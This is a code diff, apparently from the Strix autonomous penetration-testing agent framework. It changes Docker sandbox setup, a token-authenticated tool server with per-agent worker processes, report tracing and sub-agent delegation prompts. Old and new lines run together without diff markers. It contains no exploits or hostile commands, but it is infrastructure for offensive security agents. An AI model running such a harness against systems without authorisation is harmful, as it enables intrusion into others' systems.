if local_sources and not hasattr(self, source_copied_key):
|
||||
for index, source in enumerate(local_sources, start=1):
|
||||
source_path = source.get("source_path")
|
||||
if not source_path:
|
||||
continue
|
||||
|
||||
if not sandbox:
|
||||
logger.info("Creating new Docker sandbox for agent %s", agent_id)
|
||||
try:
|
||||
tool_server_port = self._find_available_port()
|
||||
caido_port = self._find_available_port()
|
||||
target_name = source.get("workspace_subdir")
|
||||
if not target_name:
|
||||
target_name = Path(source_path).name or f"target_{index}"
|
||||
|
||||
volumes_config = {volume_name: {"bind": "/shared_workspace", "mode": "rw"}}
|
||||
container_name = f"strix-{agent_id}"
|
||||
self._copy_local_directory_to_container(container, source_path, target_name)
|
||||
setattr(self, source_copied_key, True)
|
||||
|
||||
sandbox = self.client.containers.run(
|
||||
STRIX_IMAGE,
|
||||
command="sleep infinity",
|
||||
detach=True,
|
||||
name=container_name,
|
||||
hostname=container_name,
|
||||
ports={
|
||||
f"{tool_server_port}/tcp": tool_server_port,
|
||||
f"{caido_port}/tcp": caido_port,
|
||||
},
|
||||
cap_add=["NET_ADMIN", "NET_RAW"],
|
||||
labels={
|
||||
STRIX_AGENT_LABEL: agent_id,
|
||||
STRIX_SCAN_LABEL: scan_id,
|
||||
},
|
||||
environment={
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
"STRIX_AGENT_ID": agent_id,
|
||||
"STRIX_SANDBOX_TOKEN": auth_token,
|
||||
"STRIX_TOOL_SERVER_PORT": str(tool_server_port),
|
||||
"CAIDO_PORT": str(caido_port),
|
||||
},
|
||||
volumes=volumes_config,
|
||||
tty=True,
|
||||
)
|
||||
logger.info(
|
||||
"Created new sandbox %s for agent %s with shared workspace %s",
|
||||
sandbox.id,
|
||||
agent_id,
|
||||
volume_name,
|
||||
)
|
||||
except DockerException as e:
|
||||
raise RuntimeError(f"Failed to create Docker sandbox: {e}") from e
|
||||
|
||||
assert sandbox is not None
|
||||
if sandbox.status != "running":
|
||||
sandbox.start()
|
||||
time.sleep(15)
|
||||
|
||||
if local_source_path and volume_name not in _initialized_volumes:
|
||||
self._copy_local_directory_to_container(sandbox, local_source_path)
|
||||
_initialized_volumes.add(volume_name)
|
||||
|
||||
sandbox_id = sandbox.id
|
||||
if sandbox_id is None:
|
||||
container_id = container.id
|
||||
if container_id is None:
|
||||
raise RuntimeError("Docker container ID is unexpectedly None")
|
||||
|
||||
tool_server_port_str = sandbox.attrs["Config"]["Env"][
|
||||
next(
|
||||
(
|
||||
i
|
||||
for i, s in enumerate(sandbox.attrs["Config"]["Env"])
|
||||
if s.startswith("STRIX_TOOL_SERVER_PORT=")
|
||||
),
|
||||
-1,
|
||||
)
|
||||
].split("=")[1]
|
||||
tool_server_port = int(tool_server_port_str)
|
||||
token = existing_token if existing_token is not None else self._tool_server_token
|
||||
|
||||
api_url = await self.get_sandbox_url(sandbox_id, tool_server_port)
|
||||
if self._tool_server_port is None or token is None:
|
||||
raise RuntimeError("Tool server not initialized or no token available")
|
||||
|
||||
api_url = await self.get_sandbox_url(container_id, self._tool_server_port)
|
||||
|
||||
await self._register_agent_with_tool_server(api_url, agent_id, token)
|
||||
|
||||
return {
|
||||
"workspace_id": sandbox_id,
|
||||
"workspace_id": container_id,
|
||||
"api_url": api_url,
|
||||
"auth_token": auth_token,
|
||||
"tool_server_port": tool_server_port,
|
||||
"auth_token": token,
|
||||
"tool_server_port": self._tool_server_port,
|
||||
"agent_id": agent_id,
|
||||
}
|
||||
|
||||
async def get_sandbox_url(self, sandbox_id: str, port: int) -> str:
|
||||
async def _register_agent_with_tool_server(
|
||||
self, api_url: str, agent_id: str, token: str
|
||||
) -> None:
|
||||
import httpx
|
||||
|
||||
try:
|
||||
container = self.client.containers.get(sandbox_id)
|
||||
async with httpx.AsyncClient(trust_env=False) as client:
|
||||
response = await client.post(
|
||||
f"{api_url}/register_agent",
|
||||
params={"agent_id": agent_id},
|
||||
headers={"Authorization": f"Bearer {token}"},
|
||||
timeout=30,
|
||||
)
|
||||
response.raise_for_status()
|
||||
logger.info(f"Registered agent {agent_id} with tool server")
|
||||
except (httpx.RequestError, httpx.HTTPStatusError) as e:
|
||||
logger.warning(f"Failed to register agent {agent_id}: {e}")
|
||||
|
||||
async def get_sandbox_url(self, container_id: str, port: int) -> str:
|
||||
try:
|
||||
container = self.client.containers.get(container_id)
|
||||
container.reload()
|
||||
|
||||
host = "localhost"
|
||||
if "DOCKER_HOST" in os.environ:
|
||||
docker_host = os.environ["DOCKER_HOST"]
|
||||
if "://" in docker_host:
|
||||
host = docker_host.split("://")[1].split(":")[0]
|
||||
host = self._resolve_docker_host()
|
||||
|
||||
except NotFound:
|
||||
raise ValueError(f"Sandbox {sandbox_id} not found.") from None
|
||||
raise ValueError(f"Container {container_id} not found.") from None
|
||||
except DockerException as e:
|
||||
raise RuntimeError(f"Failed to get sandbox URL for {sandbox_id}: {e}") from e
|
||||
raise RuntimeError(f"Failed to get container URL for {container_id}: {e}") from e
|
||||
else:
|
||||
return f"http://{host}:{port}"
|
||||
|
||||
async def destroy_sandbox(self, sandbox_id: str) -> None:
|
||||
logger.info("Destroying Docker sandbox %s", sandbox_id)
|
||||
def _resolve_docker_host(self) -> str:
|
||||
docker_host = os.getenv("DOCKER_HOST", "")
|
||||
if not docker_host:
|
||||
return "127.0.0.1"
|
||||
|
||||
from urllib.parse import urlparse
|
||||
|
||||
parsed = urlparse(docker_host)
|
||||
|
||||
if parsed.scheme in ("tcp", "http", "https") and parsed.hostname:
|
||||
return parsed.hostname
|
||||
|
||||
return "127.0.0.1"
|
||||
|
||||
async def destroy_sandbox(self, container_id: str) -> None:
|
||||
logger.info("Destroying scan container %s", container_id)
|
||||
try:
|
||||
container = self.client.containers.get(sandbox_id)
|
||||
|
||||
scan_id = None
|
||||
if container.labels and STRIX_SCAN_LABEL in container.labels:
|
||||
scan_id = container.labels[STRIX_SCAN_LABEL]
|
||||
|
||||
container = self.client.containers.get(container_id)
|
||||
container.stop()
|
||||
container.remove()
|
||||
logger.info("Successfully destroyed sandbox %s", sandbox_id)
|
||||
logger.info("Successfully destroyed container %s", container_id)
|
||||
|
||||
if scan_id:
|
||||
await self._cleanup_workspace_if_empty(scan_id)
|
||||
self._scan_container = None
|
||||
self._tool_server_port = None
|
||||
self._tool_server_token = None
|
||||
|
||||
except NotFound:
|
||||
logger.warning("Sandbox %s not found for destruction.", sandbox_id)
|
||||
logger.warning("Container %s not found for destruction.", container_id)
|
||||
except DockerException as e:
|
||||
logger.warning("Failed to destroy sandbox %s: %s", sandbox_id, e)
|
||||
|
||||
async def _cleanup_workspace_if_empty(self, scan_id: str) -> None:
|
||||
try:
|
||||
volume_name = self._get_workspace_volume_name(scan_id)
|
||||
|
||||
containers = self.client.containers.list(
|
||||
all=True, filters={"label": f"{STRIX_SCAN_LABEL}={scan_id}"}
|
||||
)
|
||||
|
||||
if not containers:
|
||||
try:
|
||||
volume = self.client.volumes.get(volume_name)
|
||||
volume.remove()
|
||||
logger.info(
|
||||
f"Cleaned up workspace volume {volume_name} for completed scan {scan_id}"
|
||||
)
|
||||
|
||||
_initialized_volumes.discard(volume_name)
|
||||
|
||||
except NotFound:
|
||||
logger.debug(f"Volume {volume_name} already removed")
|
||||
except DockerException as e:
|
||||
logger.warning(f"Failed to remove volume {volume_name}: {e}")
|
||||
|
||||
except DockerException as e:
|
||||
logger.warning("Error during workspace cleanup for scan %s: %s", scan_id, e)
|
||||
|
||||
async def cleanup_scan_workspace(self, scan_id: str) -> None:
|
||||
await self._cleanup_workspace_if_empty(scan_id)
|
||||
logger.warning("Failed to destroy container %s: %s", container_id, e)
|
||||
|
||||
@@ -7,19 +7,23 @@ class SandboxInfo(TypedDict):
|
||||
api_url: str
|
||||
auth_token: str | None
|
||||
tool_server_port: int
|
||||
agent_id: str
|
||||
|
||||
|
||||
class AbstractRuntime(ABC):
|
||||
@abstractmethod
|
||||
async def create_sandbox(
|
||||
self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None
|
||||
self,
|
||||
agent_id: str,
|
||||
existing_token: str | None = None,
|
||||
local_sources: list[dict[str, str]] | None = None,
|
||||
) -> SandboxInfo:
|
||||
raise NotImplementedError
|
||||
|
||||
@abstractmethod
|
||||
async def get_sandbox_url(self, sandbox_id: str, port: int) -> str:
|
||||
async def get_sandbox_url(self, container_id: str, port: int) -> str:
|
||||
raise NotImplementedError
|
||||
|
||||
@abstractmethod
|
||||
async def destroy_sandbox(self, sandbox_id: str) -> None:
|
||||
async def destroy_sandbox(self, container_id: str) -> None:
|
||||
raise NotImplementedError
|
||||
|
||||
+136
-28
@@ -1,7 +1,15 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import sys
|
||||
from multiprocessing import Process, Queue
|
||||
from typing import Any
|
||||
|
||||
import uvicorn
|
||||
from fastapi import Depends, FastAPI, HTTPException, status
|
||||
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer
|
||||
from pydantic import BaseModel, ValidationError
|
||||
@@ -11,20 +19,25 @@ SANDBOX_MODE = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
|
||||
if not SANDBOX_MODE:
|
||||
raise RuntimeError("Tool server should only run in sandbox mode (STRIX_SANDBOX_MODE=true)")
|
||||
|
||||
EXPECTED_TOKEN = os.getenv("STRIX_SANDBOX_TOKEN")
|
||||
if not EXPECTED_TOKEN:
|
||||
raise RuntimeError("STRIX_SANDBOX_TOKEN environment variable is required in sandbox mode")
|
||||
parser = argparse.ArgumentParser(description="Start Strix tool server")
|
||||
parser.add_argument("--token", required=True, help="Authentication token")
|
||||
parser.add_argument("--host", default="0.0.0.0", help="Host to bind to") # nosec
|
||||
parser.add_argument("--port", type=int, required=True, help="Port to bind to")
|
||||
|
||||
args = parser.parse_args()
|
||||
EXPECTED_TOKEN = args.token
|
||||
|
||||
app = FastAPI()
|
||||
logger = logging.getLogger(__name__)
|
||||
security = HTTPBearer()
|
||||
|
||||
security_dependency = Depends(security)
|
||||
|
||||
agent_processes: dict[str, dict[str, Any]] = {}
|
||||
agent_queues: dict[str, dict[str, Queue[Any]]] = {}
|
||||
|
||||
|
||||
def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
|
||||
if not credentials or credentials.scheme != "Bearer":
|
||||
logger.warning("Authentication failed: Invalid or missing Bearer token scheme")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="Invalid authentication scheme. Bearer token required.",
|
||||
@@ -32,18 +45,17 @@ def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
|
||||
)
|
||||
|
||||
if credentials.credentials != EXPECTED_TOKEN:
|
||||
logger.warning("Authentication failed: Invalid token provided from remote host")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="Invalid authentication token",
|
||||
headers={"WWW-Authenticate": "Bearer"},
|
||||
)
|
||||
|
||||
logger.debug("Authentication successful for tool execution request")
|
||||
return credentials.credentials
|
||||
|
||||
|
||||
class ToolExecutionRequest(BaseModel):
|
||||
agent_id: str
|
||||
tool_name: str
|
||||
kwargs: dict[str, Any]
|
||||
|
||||
@@ -53,45 +65,141 @@ class ToolExecutionResponse(BaseModel):
|
||||
error: str | None = None
|
||||
|
||||
|
||||
def agent_worker(_agent_id: str, request_queue: Queue[Any], response_queue: Queue[Any]) -> None:
|
||||
null_handler = logging.NullHandler()
|
||||
|
||||
root_logger = logging.getLogger()
|
||||
root_logger.handlers = [null_handler]
|
||||
root_logger.setLevel(logging.CRITICAL)
|
||||
|
||||
from strix.tools.argument_parser import ArgumentConversionError, convert_arguments
|
||||
from strix.tools.registry import get_tool_by_name
|
||||
|
||||
while True:
|
||||
try:
|
||||
request = request_queue.get()
|
||||
|
||||
if request is None:
|
||||
break
|
||||
|
||||
tool_name = request["tool_name"]
|
||||
kwargs = request["kwargs"]
|
||||
|
||||
try:
|
||||
tool_func = get_tool_by_name(tool_name)
|
||||
if not tool_func:
|
||||
response_queue.put({"error": f"Tool '{tool_name}' not found"})
|
||||
continue
|
||||
|
||||
converted_kwargs = convert_arguments(tool_func, kwargs)
|
||||
result = tool_func(**converted_kwargs)
|
||||
|
||||
response_queue.put({"result": result})
|
||||
|
||||
except (ArgumentConversionError, ValidationError) as e:
|
||||
response_queue.put({"error": f"Invalid arguments: {e}"})
|
||||
except (RuntimeError, ValueError, ImportError) as e:
|
||||
response_queue.put({"error": f"Tool execution error: {e}"})
|
||||
|
||||
except (RuntimeError, ValueError, ImportError) as e:
|
||||
response_queue.put({"error": f"Worker error: {e}"})
|
||||
|
||||
|
||||
def ensure_agent_process(agent_id: str) -> tuple[Queue[Any], Queue[Any]]:
|
||||
if agent_id not in agent_processes:
|
||||
request_queue: Queue[Any] = Queue()
|
||||
response_queue: Queue[Any] = Queue()
|
||||
|
||||
process = Process(
|
||||
target=agent_worker, args=(agent_id, request_queue, response_queue), daemon=True
|
||||
)
|
||||
process.start()
|
||||
|
||||
agent_processes[agent_id] = {"process": process, "pid": process.pid}
|
||||
agent_queues[agent_id] = {"request": request_queue, "response": response_queue}
|
||||
|
||||
return agent_queues[agent_id]["request"], agent_queues[agent_id]["response"]
|
||||
|
||||
|
||||
@app.post("/execute", response_model=ToolExecutionResponse)
|
||||
async def execute_tool(
|
||||
request: ToolExecutionRequest, credentials: HTTPAuthorizationCredentials = security_dependency
|
||||
) -> ToolExecutionResponse:
|
||||
verify_token(credentials)
|
||||
|
||||
from strix.tools.argument_parser import ArgumentConversionError, convert_arguments
|
||||
from strix.tools.registry import get_tool_by_name
|
||||
request_queue, response_queue = ensure_agent_process(request.agent_id)
|
||||
|
||||
request_queue.put({"tool_name": request.tool_name, "kwargs": request.kwargs})
|
||||
|
||||
try:
|
||||
tool_func = get_tool_by_name(request.tool_name)
|
||||
if not tool_func:
|
||||
return ToolExecutionResponse(error=f"Tool '{request.tool_name}' not found")
|
||||
loop = asyncio.get_event_loop()
|
||||
response = await loop.run_in_executor(None, response_queue.get)
|
||||
|
||||
converted_kwargs = convert_arguments(tool_func, request.kwargs)
|
||||
if "error" in response:
|
||||
return ToolExecutionResponse(error=response["error"])
|
||||
return ToolExecutionResponse(result=response.get("result"))
|
||||
|
||||
result = tool_func(**converted_kwargs)
|
||||
except (RuntimeError, ValueError, OSError) as e:
|
||||
return ToolExecutionResponse(error=f"Worker error: {e}")
|
||||
|
||||
return ToolExecutionResponse(result=result)
|
||||
|
||||
except (ArgumentConversionError, ValidationError) as e:
|
||||
logger.warning("Invalid tool arguments: %s", e)
|
||||
return ToolExecutionResponse(error=f"Invalid arguments: {e}")
|
||||
except TypeError as e:
|
||||
logger.warning("Tool execution type error: %s", e)
|
||||
return ToolExecutionResponse(error=f"Tool execution error: {e}")
|
||||
except ValueError as e:
|
||||
logger.warning("Tool execution value error: %s", e)
|
||||
return ToolExecutionResponse(error=f"Tool execution error: {e}")
|
||||
except Exception:
|
||||
logger.exception("Unexpected error during tool execution")
|
||||
return ToolExecutionResponse(error="Internal server error")
|
||||
@app.post("/register_agent")
|
||||
async def register_agent(
|
||||
agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency
|
||||
) -> dict[str, str]:
|
||||
verify_token(credentials)
|
||||
|
||||
ensure_agent_process(agent_id)
|
||||
return {"status": "registered", "agent_id": agent_id}
|
||||
|
||||
|
||||
@app.get("/health")
|
||||
async def health_check() -> dict[str, str]:
|
||||
async def health_check() -> dict[str, Any]:
|
||||
return {
|
||||
"status": "healthy",
|
||||
"sandbox_mode": str(SANDBOX_MODE),
|
||||
"environment": "sandbox" if SANDBOX_MODE else "main",
|
||||
"auth_configured": "true" if EXPECTED_TOKEN else "false",
|
||||
"active_agents": len(agent_processes),
|
||||
"agents": list(agent_processes.keys()),
|
||||
}
|
||||
|
||||
|
||||
def cleanup_all_agents() -> None:
|
||||
for agent_id in list(agent_processes.keys()):
|
||||
try:
|
||||
agent_queues[agent_id]["request"].put(None)
|
||||
process = agent_processes[agent_id]["process"]
|
||||
|
||||
process.join(timeout=1)
|
||||
|
||||
if process.is_alive():
|
||||
process.terminate()
|
||||
process.join(timeout=1)
|
||||
|
||||
if process.is_alive():
|
||||
process.kill()
|
||||
|
||||
except (BrokenPipeError, EOFError, OSError):
|
||||
pass
|
||||
except (RuntimeError, ValueError) as e:
|
||||
logging.getLogger(__name__).debug(f"Error during agent cleanup: {e}")
|
||||
|
||||
|
||||
def signal_handler(_signum: int, _frame: Any) -> None:
|
||||
signal.signal(signal.SIGPIPE, signal.SIG_IGN) if hasattr(signal, "SIGPIPE") else None
|
||||
cleanup_all_agents()
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
if hasattr(signal, "SIGPIPE"):
|
||||
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
|
||||
|
||||
signal.signal(signal.SIGTERM, signal_handler)
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
uvicorn.run(app, host=args.host, port=args.port, log_level="info")
|
||||
finally:
|
||||
cleanup_all_agents()
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
from .tracer import Tracer, get_global_tracer, set_global_tracer
|
||||
|
||||
|
||||
__all__ = ["Tracer", "get_global_tracer", "set_global_tracer"]
|
||||
@@ -1,10 +1,14 @@
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Optional
|
||||
from typing import TYPE_CHECKING, Any, Optional
|
||||
from uuid import uuid4
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_global_tracer: Optional["Tracer"] = None
|
||||
@@ -40,13 +44,15 @@ class Tracer:
|
||||
"run_name": self.run_name,
|
||||
"start_time": self.start_time,
|
||||
"end_time": None,
|
||||
"target": None,
|
||||
"scan_type": None,
|
||||
"targets": [],
|
||||
"status": "running",
|
||||
}
|
||||
self._run_dir: Path | None = None
|
||||
self._next_execution_id = 1
|
||||
self._next_message_id = 1
|
||||
self._saved_vuln_ids: set[str] = set()
|
||||
|
||||
self.vulnerability_found_callback: Callable[[str, str, str, str], None] | None = None
|
||||
|
||||
def set_run_name(self, run_name: str) -> None:
|
||||
self.run_name = run_name
|
||||
@@ -54,7 +60,7 @@ class Tracer:
|
||||
|
||||
def get_run_dir(self) -> Path:
|
||||
if self._run_dir is None:
|
||||
runs_dir = Path.cwd() / "agent_runs"
|
||||
runs_dir = Path.cwd() / "strix_runs"
|
||||
runs_dir.mkdir(exist_ok=True)
|
||||
|
||||
run_dir_name = self.run_name if self.run_name else self.run_id
|
||||
@@ -81,6 +87,13 @@ class Tracer:
|
||||
|
||||
self.vulnerability_reports.append(report)
|
||||
logger.info(f"Added vulnerability report: {report_id} - {title}")
|
||||
|
||||
if self.vulnerability_found_callback:
|
||||
self.vulnerability_found_callback(
|
||||
report_id, title.strip(), content.strip(), severity.lower().strip()
|
||||
)
|
||||
|
||||
self.save_run_data()
|
||||
return report_id
|
||||
|
||||
def set_final_scan_result(
|
||||
@@ -97,6 +110,7 @@ class Tracer:
|
||||
}
|
||||
|
||||
logger.info(f"Set final scan result: success={success}")
|
||||
self.save_run_data(mark_complete=True)
|
||||
|
||||
def log_agent_creation(
|
||||
self, agent_id: str, name: str, task: str, parent_id: str | None = None
|
||||
@@ -168,48 +182,55 @@ class Tracer:
|
||||
self.tool_executions[execution_id]["result"] = result
|
||||
self.tool_executions[execution_id]["completed_at"] = datetime.now(UTC).isoformat()
|
||||
|
||||
def update_agent_status(self, agent_id: str, status: str) -> None:
|
||||
def update_agent_status(
|
||||
self, agent_id: str, status: str, error_message: str | None = None
|
||||
) -> None:
|
||||
if agent_id in self.agents:
|
||||
self.agents[agent_id]["status"] = status
|
||||
self.agents[agent_id]["updated_at"] = datetime.now(UTC).isoformat()
|
||||
if error_message:
|
||||
self.agents[agent_id]["error_message"] = error_message
|
||||
|
||||
def set_scan_config(self, config: dict[str, Any]) -> None:
|
||||
self.scan_config = config
|
||||
self.run_metadata.update(
|
||||
{
|
||||
"target": config.get("target", {}),
|
||||
"scan_type": config.get("scan_type", "general"),
|
||||
"targets": config.get("targets", []),
|
||||
"user_instructions": config.get("user_instructions", ""),
|
||||
"max_iterations": config.get("max_iterations", 200),
|
||||
}
|
||||
)
|
||||
self.get_run_dir()
|
||||
|
||||
def save_run_data(self) -> None:
|
||||
def save_run_data(self, mark_complete: bool = False) -> None:
|
||||
try:
|
||||
run_dir = self.get_run_dir()
|
||||
self.end_time = datetime.now(UTC).isoformat()
|
||||
if mark_complete:
|
||||
self.end_time = datetime.now(UTC).isoformat()
|
||||
|
||||
if self.final_scan_result:
|
||||
scan_report_file = run_dir / "scan_report.md"
|
||||
with scan_report_file.open("w", encoding="utf-8") as f:
|
||||
f.write("# Security Scan Report\n\n")
|
||||
penetration_test_report_file = run_dir / "penetration_test_report.md"
|
||||
with penetration_test_report_file.open("w", encoding="utf-8") as f:
|
||||
f.write("# Security Penetration Test Report\n\n")
|
||||
f.write(
|
||||
f"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\n\n"
|
||||
)
|
||||
f.write(f"{self.final_scan_result}\n")
|
||||
logger.info(f"Saved final scan report to: {scan_report_file}")
|
||||
logger.info(
|
||||
f"Saved final penetration test report to: {penetration_test_report_file}"
|
||||
)
|
||||
|
||||
if self.vulnerability_reports:
|
||||
vuln_dir = run_dir / "vulnerabilities"
|
||||
vuln_dir.mkdir(exist_ok=True)
|
||||
|
||||
severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
sorted_reports = sorted(
|
||||
self.vulnerability_reports,
|
||||
key=lambda x: (severity_order.get(x["severity"], 5), x["timestamp"]),
|
||||
)
|
||||
new_reports = [
|
||||
report
|
||||
for report in self.vulnerability_reports
|
||||
if report["id"] not in self._saved_vuln_ids
|
||||
]
|
||||
|
||||
for report in sorted_reports:
|
||||
for report in new_reports:
|
||||
vuln_file = vuln_dir / f"{report['id']}.md"
|
||||
with vuln_file.open("w", encoding="utf-8") as f:
|
||||
f.write(f"# {report['title']}\n\n")
|
||||
@@ -218,30 +239,39 @@ class Tracer:
|
||||
f.write(f"**Found:** {report['timestamp']}\n\n")
|
||||
f.write("## Description\n\n")
|
||||
f.write(f"{report['content']}\n")
|
||||
self._saved_vuln_ids.add(report["id"])
|
||||
|
||||
vuln_csv_file = run_dir / "vulnerabilities.csv"
|
||||
with vuln_csv_file.open("w", encoding="utf-8", newline="") as f:
|
||||
import csv
|
||||
if self.vulnerability_reports:
|
||||
severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
sorted_reports = sorted(
|
||||
self.vulnerability_reports,
|
||||
key=lambda x: (severity_order.get(x["severity"], 5), x["timestamp"]),
|
||||
)
|
||||
|
||||
fieldnames = ["id", "title", "severity", "timestamp", "file"]
|
||||
writer = csv.DictWriter(f, fieldnames=fieldnames)
|
||||
writer.writeheader()
|
||||
vuln_csv_file = run_dir / "vulnerabilities.csv"
|
||||
with vuln_csv_file.open("w", encoding="utf-8", newline="") as f:
|
||||
import csv
|
||||
|
||||
for report in sorted_reports:
|
||||
writer.writerow(
|
||||
{
|
||||
"id": report["id"],
|
||||
"title": report["title"],
|
||||
"severity": report["severity"].upper(),
|
||||
"timestamp": report["timestamp"],
|
||||
"file": f"vulnerabilities/{report['id']}.md",
|
||||
}
|
||||
)
|
||||
fieldnames = ["id", "title", "severity", "timestamp", "file"]
|
||||
writer = csv.DictWriter(f, fieldnames=fieldnames)
|
||||
writer.writeheader()
|
||||
|
||||
logger.info(
|
||||
f"Saved {len(self.vulnerability_reports)} vulnerability reports to: {vuln_dir}"
|
||||
)
|
||||
logger.info(f"Saved vulnerability index to: {vuln_csv_file}")
|
||||
for report in sorted_reports:
|
||||
writer.writerow(
|
||||
{
|
||||
"id": report["id"],
|
||||
"title": report["title"],
|
||||
"severity": report["severity"].upper(),
|
||||
"timestamp": report["timestamp"],
|
||||
"file": f"vulnerabilities/{report['id']}.md",
|
||||
}
|
||||
)
|
||||
|
||||
if new_reports:
|
||||
logger.info(
|
||||
f"Saved {len(new_reports)} new vulnerability report(s) to: {vuln_dir}"
|
||||
)
|
||||
logger.info(f"Updated vulnerability index: {vuln_csv_file}")
|
||||
|
||||
logger.info(f"📊 Essential scan data saved to: {run_dir}")
|
||||
|
||||
@@ -304,4 +334,4 @@ class Tracer:
|
||||
}
|
||||
|
||||
def cleanup(self) -> None:
|
||||
self.save_run_data()
|
||||
self.save_run_data(mark_complete=True)
|
||||
@@ -53,10 +53,17 @@ def _run_agent_in_thread(
|
||||
<instructions>
|
||||
- You have {context_status}
|
||||
- Inherited context is for BACKGROUND ONLY - don't continue parent's work
|
||||
- Maintain strict self-identity: never speak as or for your parent
|
||||
- Do not merge your conversation with the parent's;
|
||||
- Do not claim parent's actions or messages as your own
|
||||
- Focus EXCLUSIVELY on your delegated task above
|
||||
- Work independently with your own approach
|
||||
- Use agent_finish when complete to report back to parent
|
||||
- You are a SPECIALIST for this specific task
|
||||
- You share the same container as other agents but have your own tool server instance
|
||||
- All agents share /workspace directory and proxy history for better collaboration
|
||||
- You can see files created by other agents and proxy traffic from previous work
|
||||
- Build upon previous work but focus on your specific delegated task
|
||||
</instructions>
|
||||
</agent_delegation>"""
|
||||
|
||||
@@ -192,21 +199,11 @@ def create_agent(
|
||||
if prompt_modules:
|
||||
module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()]
|
||||
|
||||
if "root_agent" in module_list:
|
||||
if len(module_list) > 5:
|
||||
return {
|
||||
"success": False,
|
||||
"error": (
|
||||
"The 'root_agent' module is reserved for the main agent "
|
||||
"and cannot be used by sub-agents"
|
||||
),
|
||||
"agent_id": None,
|
||||
}
|
||||
|
||||
if len(module_list) > 3:
|
||||
return {
|
||||
"success": False,
|
||||
"error": (
|
||||
"Cannot specify more than 3 prompt modules for an agent "
|
||||
"Cannot specify more than 5 prompt modules for an agent "
|
||||
"(use comma-separated format)"
|
||||
),
|
||||
"agent_id": None,
|
||||
@@ -231,15 +228,28 @@ def create_agent(
|
||||
from strix.agents.state import AgentState
|
||||
from strix.llm.config import LLMConfig
|
||||
|
||||
state = AgentState(task=task, agent_name=name, parent_id=parent_id, max_iterations=200)
|
||||
state = AgentState(task=task, agent_name=name, parent_id=parent_id, max_iterations=300)
|
||||
|
||||
llm_config = LLMConfig(prompt_modules=module_list)
|
||||
agent = StrixAgent(
|
||||
{
|
||||
"llm_config": llm_config,
|
||||
"state": state,
|
||||
}
|
||||
)
|
||||
parent_agent = _agent_instances.get(parent_id)
|
||||
|
||||
timeout = None
|
||||
if (
|
||||
parent_agent
|
||||
and hasattr(parent_agent, "llm_config")
|
||||
and hasattr(parent_agent.llm_config, "timeout")
|
||||
):
|
||||
timeout = parent_agent.llm_config.timeout
|
||||
|
||||
llm_config = LLMConfig(prompt_modules=module_list, timeout=timeout)
|
||||
|
||||
agent_config = {
|
||||
"llm_config": llm_config,
|
||||
"state": state,
|
||||
}
|
||||
if parent_agent and hasattr(parent_agent, "non_interactive"):
|
||||
agent_config["non_interactive"] = parent_agent.non_interactive
|
||||
|
||||
agent = StrixAgent(agent_config)
|
||||
|
||||
inherited_messages = []
|
||||
if inherit_context:
|
||||
@@ -490,7 +500,7 @@ def stop_agent(agent_id: str) -> dict[str, Any]:
|
||||
agent_node["status"] = "stopping"
|
||||
|
||||
try:
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
@@ -568,7 +578,7 @@ def send_user_message_to_agent(agent_id: str, message: str) -> dict[str, Any]:
|
||||
@register_tool(sandbox_execution=False)
|
||||
def wait_for_message(
|
||||
agent_state: Any,
|
||||
reason: str = "Waiting for messages from other agents or user input",
|
||||
reason: str = "Waiting for messages from other agents",
|
||||
) -> dict[str, Any]:
|
||||
try:
|
||||
agent_id = agent_state.agent_id
|
||||
@@ -581,7 +591,7 @@ def wait_for_message(
|
||||
_agent_graph["nodes"][agent_id]["waiting_reason"] = reason
|
||||
|
||||
try:
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
@@ -606,5 +616,6 @@ def wait_for_message(
|
||||
"Message from another agent",
|
||||
"Message from user",
|
||||
"Direct communication",
|
||||
"Waiting timeout reached",
|
||||
],
|
||||
}
|
||||
|
||||
@@ -59,7 +59,7 @@ Use this tool when:
|
||||
<tool name="create_agent">
|
||||
<description>Create and spawn a new agent to handle a specific subtask.
|
||||
|
||||
MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any new agent to check if there is already an agent working on the same or similar task. Only create a new agent if no existing agent is handling the specific task.</description>
|
||||
Only create a new agent if no existing agent is handling the specific task.</description>
|
||||
<details>The new agent inherits the parent's conversation history and context up to the point
|
||||
of creation, then continues with its assigned subtask. This enables decomposition
|
||||
of complex penetration testing tasks into specialized sub-agents.
|
||||
@@ -67,12 +67,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any
|
||||
The agent runs asynchronously and independently, allowing the parent to continue
|
||||
immediately while the new agent executes its task in the background.
|
||||
|
||||
CRITICAL: Before calling this tool, you MUST first use view_agent_graph to:
|
||||
- Examine all existing agents and their current tasks
|
||||
- Verify no agent is already working on the same or similar objective
|
||||
- Avoid duplication of effort and resource waste
|
||||
